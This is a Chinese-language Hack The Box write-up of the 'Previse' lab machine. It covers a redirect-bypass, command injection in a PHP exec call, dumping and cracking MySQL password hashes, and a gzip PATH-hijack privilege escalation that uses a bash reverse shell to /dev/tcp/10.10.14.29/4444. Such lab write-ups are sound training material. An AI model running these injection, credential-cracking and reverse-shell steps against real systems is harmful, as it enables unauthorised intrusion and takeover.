HTB 学习笔记
【Hack The Box】linux练习-- Previse
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- ear
- 基于ear的重定向绕过
- 源码分析
- www->
- 命令挟持
信息收集
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu)
有价值的就这么两个
页面底部有一个
m4lwhere
可能是一个用户名
抓包分析的时候发现它不光返回302,还返回一个完整的页面
ear
这是 重定向后执行 (EAR) 漏洞 。 PHP 代码可能会检查会话,如果没有,则发送重定向。 这是来自 OWASP 页面的示例:
<?php if (!$loggedin) {
print "<script>window.location = '/login';</script>\n\n";
} ?>
基于ear的重定向绕过
首先对bp进行设置,可以抓响应包
我把302 notfound改成200 ok(大写)
这个页面不是很有用,但它在那里。 顶部的链接指向另外四个页面:
帐户 ( /accounts.php)
文件 ( /files.php)
管理菜单 –> 网站状态 ( /status.php)
管理菜单 –> 日志数据 ( file_logs.php)
我试图添加一个用户
这里同样是一个302,我们依旧可以修改成200来成功添加用户
而后可以不用bp了,正常登陆
而后来到files目录
有这个压缩包,点一下下载下来
源码分析
检索一下危险函数
grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *
看到存在危险函数
出问题的源码(logs.php)
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
?>
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
可以看到
在将用户输入放入调用之前没有对用户输入进行清理 exec,这意味着我可以添加各种注入来执行,比如
; [command]和 $([command])
我们选space模式,而后跟一个bash的反弹命令即可
用分号做隔断
www->
先建立一个稳定的shell
script /dev/null -c bash
在/var/www/html/config.php下找到了凭据
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
密码不能复用,我将在数据库寻找答案
mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)'
show databases;
use previse;
show tables;
describe files;//描述一下这个表,防止太大了一下挤爆靶场
+-------------+--------------+------+-----+-------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------+--------------+------+-----+-------------------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| name | varchar(255) | NO | | NULL | |
| size | int(11) | NO | | NULL | |
| user | varchar(255) | YES | | NULL | |
| data | blob | YES | | NULL | |
| upload_time | datetime | YES | | CURRENT_TIMESTAMP | |
| protected | tinyint(1) | YES | | 0 | |
+-------------+--------------+------+-----+-------------------+----------------+
发现文件很大,所以不能直接select打开
select name,size,user,protected from files;
再看下一个表
describe accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | 0xdff | $1$🧂llol$H.PGkFFp/y7qUAVKR4VKK1 | 2021-07-16 20:04:52 |
+----+----------+------------------------------------+---------------------+
得到了一组凭据
m4lwhere
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
这为啥有个奶瓶?
hashcat -m 500 m4lwhere.hash /usr/share/wordlists/rockyou.txt
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
凭据如下
m4lwhere/ilovecody112235!
而后登陆m4lwhere用户
直接su即可
sudo -l显示他可以执行那个backup脚本
cat打开看看
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
看起来这个脚本有点问题,并且是个计划任务应该,因为他提到了cron
该脚本正在将日志备份到 /var/backups:
命令挟持
该脚本的漏洞在于 gzip在没有完整路径的情况下被调用。
在 /tmp我将创建一个名为 gzip的文件
生成一个反向 shell:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.29/4444 0>&1
添加自制gzip到临时环境变量
export PATH=/tmp:$PATH
记得赋权